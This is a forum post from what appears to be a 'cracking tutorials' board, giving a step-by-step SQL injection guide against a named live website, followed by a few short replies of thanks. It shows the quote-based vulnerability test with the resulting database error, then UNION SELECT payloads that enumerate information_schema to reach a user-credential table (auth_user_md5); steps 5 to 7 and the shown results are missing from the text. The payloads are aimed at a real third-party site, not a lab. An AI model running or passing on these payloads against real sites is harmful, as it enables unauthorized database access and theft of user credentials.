Cracking Tutorials Cracking Guide To Sql Injections! How Sql Injection Done In A Very Simple Way

[Deleted User]

SQL INJECTION is an attack technique used to exploit web sites by altering backend SQL statements through manipulating application input.

Here we go!!

1). Search for a vulnerable site.
Highlight one then press ctrl+c then ctrl+v at your browser address bar.




2.Suppose we have this one.

http://www.shangproperties.com/news_archive.php?id=6

We will check it's vulnerability by adding magic qoute (') at the end of the url.

3.So the url will be like this:

http://www.shangproperties.com/news_archive.php?id=6'

And we hit enter and we got this result.
Database error: Invalid SQL: SELECT * FROM NewsArticle WHERE NewsID=6\';
mySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1)
Database error: next_record called with no query pending.
mySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1)


If you got an error, some text missing or a blank page the site is vulnerable but not at all.

Now we know that the site is vulnerable.

4.The next step is find out how many columns the database contain
To find it we use "order by" (without the qoute) and this string " -- " (no qoute).

It will look like this:



8. Now we're done on TABLE NAME, we move on to COLUMN NAME.

use this string group_concat(column_name)

replace group_concat(table_name) to group_concat(column_name).

but before that we must choose one column. i choose auth_user_md5 because this is must or what we want.

for better result we need to hex auth_user_md5.

Go to this Link: Click here!

paste auth_user_md5 to the text box and click encode.

now we get the hex of auth_user_md5: look like this: 61 75 74 68 5f 75 73 65 72 5f 6d 64 35

before proceeding remove space between each numbers. like this: 617574685f757365725f6d6435

Now replace group_concat(table_name) to group_concat(column_name).

like this:
http://www.shangproperties.com/news_archive.php?id=-6 union select 1, 2, 3, 4, 5, 6, 7, group_concat(column_name), 9, 10, 11, 12, 13, 14+from+information_schema.tables+where+table_schema=database()--

replace also +from+information_schema.tables+where+table_schema=database()--
to
+from+information_schema.columns+where+table_name=0x617574685f757365725f6d6435--

(The yellow letter and numbers is the auth_user_md5 hex we encoded)

Note: always add 0x before the hex. Like above.

Here is the result:

 

[iraq]

thats seems nace

 

[clambo873]

Interesting

 

[bluufalcon]

Thanks. I use sqlmap but this is a good manual way.